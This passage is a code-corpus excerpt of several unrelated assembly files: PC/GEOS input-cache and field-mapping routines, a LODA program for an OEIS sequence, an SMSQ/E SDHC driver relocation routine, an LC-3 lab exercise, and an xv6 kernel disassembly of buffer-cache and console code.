; Any more reads from this cache will result in a FatalError
EC < mov es:[CIB_offset], -1 >
jmp exit
InputCacheGetChar endp
if DBCS_PCGEOS
;;;
;;; PASS ds:dx = ptr from which data is read
;;; es = ds (ptr to Cache block)
;;; bx = file handle
;;; carry set if error:
;;; ax = ERROR_SHORT_READ_WRITE (hit end-of-file)
;;; ERROR_ACCESS_DENIED (file not opened for reading)
;;; carry clear if no error:
;;; ax = destroyed
;;; cx = number of bytes read
;;; RETURN es:[size InputCacheInfoBlock] <- Unicode data
;;; cx = # of chars (including null)
;;;
;;;
ConvertInputCache proc near
uses ax, bx, si, di, bp
.enter
mov bp, bx ; save file handle
jnc readOK ; FileRead returns OK?
; If so, convert buffer
cmp ax, ERROR_SHORT_READ_WRITE ; Is short read?
jne done ; If so, never mind :)
; otherwise return w/ carry
readOK:
mov di, size InputCacheInfoBlock ; es:di <- ptr to dest (GEOS)
mov si, dx ; ds:si <- ptr to src (DOS)
mov ax, C_PERIOD ; default character
clr dx ; use primary FSD
mov bx, CODE_PAGE_SJIS ; only support SJIS
call LocalDosToGeos ; convert SJIS to Unicode
jnc done ; if no carry, great!
cmp al, DTGSS_CHARACTER_INCOMPLETE ; split character?
jne done ; branch if not
push cx ; save # of chars
clrdw cxdx
mov dl, ah
negdw cxdx ; # of bytes to backup
mov bx, bp ; restore file handle
mov al, FILE_POS_RELATIVE ; al <- FilePosMode
call FilePos
pop cx
done:
.leave
ret
ConvertInputCache endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputCacheUnGetChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine modifies the cache information so the last char
read via InputCacheGetChar will be returned on the *next*
call to InputCacheGetChar, as if it had never been called in
the first place
CALLED BY: GLOBAL
PASS: bx <- input cache handle
RETURN: nada
DESTROYED: nada (flags preserved)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 7/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputCacheUnGetChar proc far uses es
.enter
pushf
call MemDerefES
EC < push ax >
EC < mov ax, es:[CIB_offset] >
EC < cmp ax, es:[CIB_size] >
EC < ERROR_A READ_BEYOND_CACHE_END >
EC < pop ax >
dec es:[CIB_offset]
DBCS < dec es:[CIB_offset] >
EC < cmp es:[CIB_offset], size InputCacheInfoBlock >
EC < ERROR_B CANNOT_UNGET_CHAR_FROM_PREVIOUS_BLOCK >
popf
.leave
ret
InputCacheUnGetChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputCacheDestroy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the passed cache.
CALLED BY: GLOBAL
PASS: bx - cache to destroy
RETURN: nada
DESTROYED: nothing (flags preserved)
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputCacheDestroy proc far
pushf
call MemFree
popf
ret
InputCacheDestroy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetMappedRowAndColNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Rearrange the transfer file according to the map list block.
CALLED BY: (GLOBAL)
PASS: ax - column number to be mapped
bx - handle of map block
cl - ImpexFlag
RETURN: if the field is mapped,
carry set
ax = mapped column number
if the field is not mapped,
carry clear
DESTROYED: nothing
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetMappedRowAndColNumber proc far uses bx, cx, dx, ds, si, di
mapBlock local hptr
colNumber local word
impexFlag local byte
.enter
; grab the number of output fields from map list block
mov colNumber, ax ; save column number to map
mov mapBlock, bx ; save handle map list block
mov impexFlag, cl ; save impexFlag
tst bx ; no map list block?
je mapped ; if not, use default mapping
call MemLock ; lock this block
mov ds, ax
clr di ; ds:di - header
mov cx, ds:[di].MLBH_numDestFields ; cx - # of output fields
mov si, ds:[di].MLBH_chunk1 ; si - chunk handle
; now sort the chunk array based on CML_dest field
push si
mov cx, cs ; cx:dx - callback routine
mov dx, offset CallBack_CompareDestFields
call ChunkArraySort ; sort the array
pop si
; find the chunk array entry whose source map field
; matches the column number of current cell data
mov cx, colNumber
mov bx, cs ; bx:di - callback routine
test impexFlag, mask IF_IMPORT ; file import?
je import ; if not, skip
mov di, offset CallBack_FindMapEntryImport
jmp common
import:
mov di, offset CallBack_FindMapEntryExport
common:
call ChunkArrayEnum
jnc quit ; skip if not mapped
mapped:
stc ; field is being mapped
quit:
pushf
; unlock the map block and exit
mov bx, mapBlock ; bx - handle map list block
tst bx
je exit
call MemUnlock
exit:
popf
.leave
ret
GetMappedRowAndColNumber endp
CallBack_CompareDestFields proc far
mov ax, ds:[si].CML_dest ; ax - first element
cmp ax, es:[di].CML_dest ; compare 1st element to 2nd
ret
CallBack_CompareDestFields endp
CallBack_FindMapEntryImport proc far
cmp cx, ds:[di].CML_source ; source field match?
clc ; assume no match
jne exit ; if not found, continue...
mov ax, ds:[di].CML_dest ; return dest. field number
stc ; return with carry set
exit:
ret
CallBack_FindMapEntryImport endp
CallBack_FindMapEntryExport proc far
cmp cx, ds:[di].CML_dest ; destination field match?
clc ; assume no match
jne exit ; if not found, continue...
mov ax, ds:[di].CML_source ; return source field number
stc ; return with carry set
exit:
ret
CallBack_FindMapEntryExport endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetDefaultFieldName
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the default field name into the FieldInfoBlock
CALLED BY: (INTERNAL) CreateFieldInfoBlock
PASS: dx - column number
cx - limit on the length of field name
es:di - ptr to copy the field name into
RETURN: es - not changed
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
THK 11/92 Initial revision
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetDefaultFieldName proc far uses ax, bx, cx, dx, ds, si, di
.enter
; lock the resource block with the default field name
push es, di
push cx
inc dx
mov bx, handle Strings
call MemLock
mov es, ax ; set up the segment
mov di, offset DefaultFieldName ; handle of error messages
mov di, es:[di] ; dereference the handle
; now search for the 1st space character in this string
push di ; es:di - beg of string
mov cx, -1
LocalLoadChar ax, ' ' ; character to search for
LocalFindChar ; search for ' '
; convert the field number to ascii string
mov ax, dx ; ax - number to convert
call ConvertWordToAscii ; covnert the number to ascii
; copy the field name into FieldInfoBlock
pop si
segmov ds, es ; ds:si - source string
sub di, si
mov cx, di ; cx - # of bytes to copy
DBCS <EC < push cx >
DBCS <EC < shr cx ; to see if cx is odd/even>
DBCS <EC < ERROR_C 0 ; if odd, then error>
DBCS <EC < pop cx >
; check to see if the string is too long
pop dx ; maximum field name length
cmp cx, dx ; is field name too long?
jle ok ; if not, skip
mov cx, dx ; if so, copy only the maximum
DBCS <EC < push cx >
DBCS <EC < shr cx ; to see if cx is odd/even>
DBCS <EC < ERROR_C 0 ; if odd, then error>
DBCS <EC < pop cx >
ok:
pop es, di ; es:di - destination
rep movsb ; copy the string
LocalClrChar es:[di] ; null terminate the string
call MemUnlock ; unlock the resource block
.leave
ret
GetDefaultFieldName endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: ConvertWordToAscii
DESCRIPTION: Converts a hex number into a non-terminated ASCII string.
If a 0 is passed, a '0' will be stored.
CALLED BY: INTERNAL ()
PASS: ax - number to convert
es:di - location to store ASCII chars
RETURN: es:di - addr past last char converted
DESTROYED: ax,dx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
WARNING: Maximum number of ASCII chars returned will be 4.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
ConvertWordToAscii proc near uses bx,cx,dx
.enter
; first clear the space with space characters
push ax, di ; save the pointer
LocalClrChar ax ;
LocalPutChar esdi, ax ; why 4 times?
LocalPutChar esdi, ax
LocalPutChar esdi, ax
LocalPutChar esdi, ax
pop ax, di ; restore the pointer
clr cx ; init count
mov bx, 10 ; divide the number by 10
convLoop:
clr dx
div bx ; ax <- quotient, dx <- remainder
push dx ; save digit
inc cx ; inc count
cmp cx, 4 ; max # of bytes?
je storeLoop ; if so, exit
tst ax ; done?
jnz convLoop ; loop while not
storeLoop:
pop ax ; retrieve digit
add ax, '0' ; convert to ASCII
LocalPutChar esdi, ax ; save it
loop storeLoop
.leave
ret
ConvertWordToAscii endp
CommonCode ends
| 26.115425 | 81 | 0.580722 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Library/Trans/Database/DBCommon/dbCommonUtil.asm | 24,888 | Assembly |
; A184633: Floor(1/{(9+n^4)^(1/4)}), where {} = fractional part.
; Submitted by Jamie Morken(s3.)
; 1,4,12,28,55,96,152,227,324,444,591,768,976,1219,1500,1820,2183,2592,3048,3555,4116,4732,5407,6144,6944,7811,8748,9756,10839,12000,13240,14563,15972,17468,19055,20736,22512,24387,26364,28444,30631,32928,35336,37859,40500,43260,46143,49152,52288,55555,58956,62492,66167,69984,73944,78051,82308,86716,91279,96000,100880,105923,111132,116508,122055,127776,133672,139747,146004,152444,159071,165888,172896,180099,187500,195100,202903,210912,219128,227555,236196,245052,254127,263424,272944,282691,292668
mov $3,$0
add $3,1
mov $1,$3
pow $1,4
mul $1,2
add $1,6
div $1,3
mul $1,10
mov $2,$3
mul $2,5
div $1,$2
div $1,3
mov $0,$1
| 40.222222 | 501 | 0.745856 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/184/A184633.asm | 724 | Assembly |
; copy sdhc routines to fast mem & adjust pointers 1.00 (c) W. Lenerz 2017
;
; on entry a3 = device defn block
; the first routine to be copied must be rsect
; then come wsect,sndcmd,srchdrv and hd_hold
section dv3
xdef cpy2mem
xdef q68_dvend
xref cpy_mmod
xref q68_dvstrt
xref hd_rsint
xref hd_rdirect
xref hd_wdirect
xref hd_wsint
include dev8_keys_q68
include dev8_dv3_keys
include dev8_dv3_hd_keys
q68_dvend
cpy2mem lea q68_dvstrt,a0
jsr cpy_mmod ; copy into fast mem, 4(a0)=start of routine
move.l 4(a0),d0 ; ptr to hd_rdirect in fast mem
move.l d0,ddl_rsect+2(a3) ; hd_rdirect : jump to this routine now
lea hd_rsint,a1 ; hd_rsint in "slow" mem
move.l a1,d1
lea hd_rdirect,a1
move.l a1,d2 ; keep
sub.l a1,d1 ; offset from rdirect to rsint
add.l d0,d1 ; poiner to rsint in fast mem
move.l d1,hdl_rsint+2(a3)
lea hd_wsint,a1
move.l a1,d1
sub.l d2,d1
add.l d0,d1
move.l d1,hdl_wsint+2(a3) ; jump to this routine now
lea hd_wdirect,a1
move.l a1,d1
sub.l d2,d1
add.l d0,d1
move.l d1,ddl_wsect+2(a3) ; jump to this routine now
rts
end
| 22.583333 | 74 | 0.730627 | [
"BSD-2-Clause"
] | olifink/smsqe | dv3/q68/sdhc/cpy2mem.asm | 1,084 | Assembly |
;=================================================
; Name: Moya, Branden
; Username: bmoya001@ucr.edu
;
; Lab: lab 1
; Lab section: 021
; TA: Bryan Marsh
;
;=================================================
.Orig x3000
;Instructions
AND R1,R1,#0
LD R1, POINTER
LD R2, COUNTER
LD R3, CHECKER
LD R4, COUNTER ;;2^n
LOOP_DE_LOOP
STR R4, R1, #0
ADD R2,R2,#1
ADD R1,R1,#1
ADD R4,R4,R4
ADD R0, R2, R3
BRn LOOP_DE_LOOP
LDR R1,R2, #7
HALT
;Local data
POINTER .FILL x4000
COUNTER .FILL 1
CHECKER .FILL #-11
;Remote Data
.Orig x4000
ARRAY .BLKW #10
.end | 12.108696 | 50 | 0.552962 | [
"Apache-2.0"
] | bmoya217/ucr | cs61/lab4/lab04_ex3.asm | 557 | Assembly |
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
8010000c: 0f 20 e0 mov %cr4,%eax
8010000f: 83 c8 10 or $0x10,%eax
80100012: 0f 22 e0 mov %eax,%cr4
80100015: b8 00 90 10 00 mov $0x109000,%eax
8010001a: 0f 22 d8 mov %eax,%cr3
8010001d: 0f 20 c0 mov %cr0,%eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
80100025: 0f 22 c0 mov %eax,%cr0
80100028: bc d0 b5 10 80 mov $0x8010b5d0,%esp
8010002d: b8 60 2e 10 80 mov $0x80102e60,%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb 14 b6 10 80 mov $0x8010b614,%ebx
struct buf head;
} bcache;
void
binit(void)
{
80100049: 83 ec 14 sub $0x14,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010004c: c7 44 24 04 a0 6f 10 movl $0x80106fa0,0x4(%esp)
80100053: 80
80100054: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
8010005b: e8 c0 42 00 00 call 80104320 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
80100060: ba dc fc 10 80 mov $0x8010fcdc,%edx
initlock(&bcache.lock, "bcache");
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
80100065: c7 05 2c fd 10 80 dc movl $0x8010fcdc,0x8010fd2c
8010006c: fc 10 80
bcache.head.next = &bcache.head;
8010006f: c7 05 30 fd 10 80 dc movl $0x8010fcdc,0x8010fd30
80100076: fc 10 80
80100079: eb 09 jmp 80100084 <binit+0x44>
8010007b: 90 nop
8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 da mov %ebx,%edx
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100082: 89 c3 mov %eax,%ebx
80100084: 8d 43 0c lea 0xc(%ebx),%eax
b->next = bcache.head.next;
80100087: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008a: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100091: 89 04 24 mov %eax,(%esp)
80100094: c7 44 24 04 a7 6f 10 movl $0x80106fa7,0x4(%esp)
8010009b: 80
8010009c: e8 6f 41 00 00 call 80104210 <initsleeplock>
bcache.head.next->prev = b;
801000a1: a1 30 fd 10 80 mov 0x8010fd30,%eax
801000a6: 89 58 50 mov %ebx,0x50(%eax)
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
801000af: 3d dc fc 10 80 cmp $0x8010fcdc,%eax
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
801000b4: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000ba: 75 c4 jne 80100080 <binit+0x40>
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000bc: 83 c4 14 add $0x14,%esp
801000bf: 5b pop %ebx
801000c0: 5d pop %ebp
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 1c sub $0x1c,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
801000dc: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000e3: 8b 7d 0c mov 0xc(%ebp),%edi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
801000e6: e8 b5 42 00 00 call 801043a0 <acquire>
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000eb: 8b 1d 30 fd 10 80 mov 0x8010fd30,%ebx
801000f1: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
801000f7: 75 12 jne 8010010b <bread+0x3b>
801000f9: eb 25 jmp 80100120 <bread+0x50>
801000fb: 90 nop
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
// Not cached; recycle some unused buffer and clean buffer
// "clean" because B_DIRTY and not locked means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 2c fd 10 80 mov 0x8010fd2c,%ebx
80100126: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 58 jmp 80100188 <bread+0xb8>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100139: 74 4d je 80100188 <bread+0xb8>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100161: e8 6a 43 00 00 call 801044d0 <release>
acquiresleep(&b->lock);
80100166: 8d 43 0c lea 0xc(%ebx),%eax
80100169: 89 04 24 mov %eax,(%esp)
8010016c: e8 df 40 00 00 call 80104250 <acquiresleep>
bread(uint dev, uint blockno)
{
struct buf *b;
b = bget(dev, blockno);
if(!(b->flags & B_VALID)) {
80100171: f6 03 02 testb $0x2,(%ebx)
80100174: 75 08 jne 8010017e <bread+0xae>
iderw(b);
80100176: 89 1c 24 mov %ebx,(%esp)
80100179: e8 a2 1f 00 00 call 80102120 <iderw>
}
return b;
}
8010017e: 83 c4 1c add $0x1c,%esp
80100181: 89 d8 mov %ebx,%eax
80100183: 5b pop %ebx
80100184: 5e pop %esi
80100185: 5f pop %edi
80100186: 5d pop %ebp
80100187: c3 ret
release(&bcache.lock);
acquiresleep(&b->lock);
return b;
}
}
panic("bget: no buffers");
80100188: c7 04 24 ae 6f 10 80 movl $0x80106fae,(%esp)
8010018f: e8 cc 01 00 00 call 80100360 <panic>
80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801001a0 <bwrite>:
}
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 14 sub $0x14,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 89 04 24 mov %eax,(%esp)
801001b0: e8 3b 41 00 00 call 801042f0 <holdingsleep>
801001b5: 85 c0 test %eax,%eax
801001b7: 74 10 je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001b9: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bc: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001bf: 83 c4 14 add $0x14,%esp
801001c2: 5b pop %ebx
801001c3: 5d pop %ebp
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
b->flags |= B_DIRTY;
iderw(b);
801001c4: e9 57 1f 00 00 jmp 80102120 <iderw>
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
801001c9: c7 04 24 bf 6f 10 80 movl $0x80106fbf,(%esp)
801001d0: e8 8b 01 00 00 call 80100360 <panic>
801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 83 ec 10 sub $0x10,%esp
801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 89 34 24 mov %esi,(%esp)
801001f1: e8 fa 40 00 00 call 801042f0 <holdingsleep>
801001f6: 85 c0 test %eax,%eax
801001f8: 74 5b je 80100255 <brelse+0x75>
panic("brelse");
releasesleep(&b->lock);
801001fa: 89 34 24 mov %esi,(%esp)
801001fd: e8 ae 40 00 00 call 801042b0 <releasesleep>
acquire(&bcache.lock);
80100202: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100209: e8 92 41 00 00 call 801043a0 <acquire>
b->refcnt--;
if (b->refcnt == 0) {
8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx)
80100212: 75 2f jne 80100243 <brelse+0x63>
// no one is waiting for it.
b->next->prev = b->prev;
80100214: 8b 43 54 mov 0x54(%ebx),%eax
80100217: 8b 53 50 mov 0x50(%ebx),%edx
8010021a: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
8010021d: 8b 43 50 mov 0x50(%ebx),%eax
80100220: 8b 53 54 mov 0x54(%ebx),%edx
80100223: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100226: a1 30 fd 10 80 mov 0x8010fd30,%eax
b->prev = &bcache.head;
8010022b: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
b->refcnt--;
if (b->refcnt == 0) {
// no one is waiting for it.
b->next->prev = b->prev;
b->prev->next = b->next;
b->next = bcache.head.next;
80100232: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
bcache.head.next->prev = b;
80100235: a1 30 fd 10 80 mov 0x8010fd30,%eax
8010023a: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
8010023d: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
}
release(&bcache.lock);
80100243: c7 45 08 e0 b5 10 80 movl $0x8010b5e0,0x8(%ebp)
}
8010024a: 83 c4 10 add $0x10,%esp
8010024d: 5b pop %ebx
8010024e: 5e pop %esi
8010024f: 5d pop %ebp
b->prev = &bcache.head;
bcache.head.next->prev = b;
bcache.head.next = b;
}
release(&bcache.lock);
80100250: e9 7b 42 00 00 jmp 801044d0 <release>
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("brelse");
80100255: c7 04 24 c6 6f 10 80 movl $0x80106fc6,(%esp)
8010025c: e8 ff 00 00 00 call 80100360 <panic>
80100261: 66 90 xchg %ax,%ax
80100263: 66 90 xchg %ax,%ax
80100265: 66 90 xchg %ax,%ax
80100267: 66 90 xchg %ax,%ax
80100269: 66 90 xchg %ax,%ax
8010026b: 66 90 xchg %ax,%ax
8010026d: 66 90 xchg %ax,%ax
8010026f: 90 nop
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 1c sub $0x1c,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 89 3c 24 mov %edi,(%esp)
80100282: e8 09 15 00 00 call 80101790 <iunlock>
target = n;
acquire(&cons.lock);
80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028e: e8 0d 41 00 00 call 801043a0 <acquire>
while(n > 0){
80100293: 8b 55 10 mov 0x10(%ebp),%edx
80100296: 85 d2 test %edx,%edx
80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea>
8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx
801002a1: eb 26 jmp 801002c9 <consoleread+0x59>
801002a3: 90 nop
801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.r == input.w){
if(proc->killed){
801002a8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801002ae: 8b 40 24 mov 0x24(%eax),%eax
801002b1: 85 c0 test %eax,%eax
801002b3: 75 73 jne 80100328 <consoleread+0xb8>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b5: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp)
801002bc: 80
801002bd: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
801002c4: e8 d7 3b 00 00 call 80103ea0 <sleep>
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
801002c9: a1 c0 ff 10 80 mov 0x8010ffc0,%eax
801002ce: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801002d4: 74 d2 je 801002a8 <consoleread+0x38>
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801002d6: 8d 50 01 lea 0x1(%eax),%edx
801002d9: 89 15 c0 ff 10 80 mov %edx,0x8010ffc0
801002df: 89 c2 mov %eax,%edx
801002e1: 83 e2 7f and $0x7f,%edx
801002e4: 0f b6 8a 40 ff 10 80 movzbl -0x7fef00c0(%edx),%ecx
801002eb: 0f be d1 movsbl %cl,%edx
if(c == C('D')){ // EOF
801002ee: 83 fa 04 cmp $0x4,%edx
801002f1: 74 56 je 80100349 <consoleread+0xd9>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002f3: 83 c6 01 add $0x1,%esi
--n;
801002f6: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
801002f9: 83 fa 0a cmp $0xa,%edx
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002fc: 88 4e ff mov %cl,-0x1(%esi)
--n;
if(c == '\n')
801002ff: 74 52 je 80100353 <consoleread+0xe3>
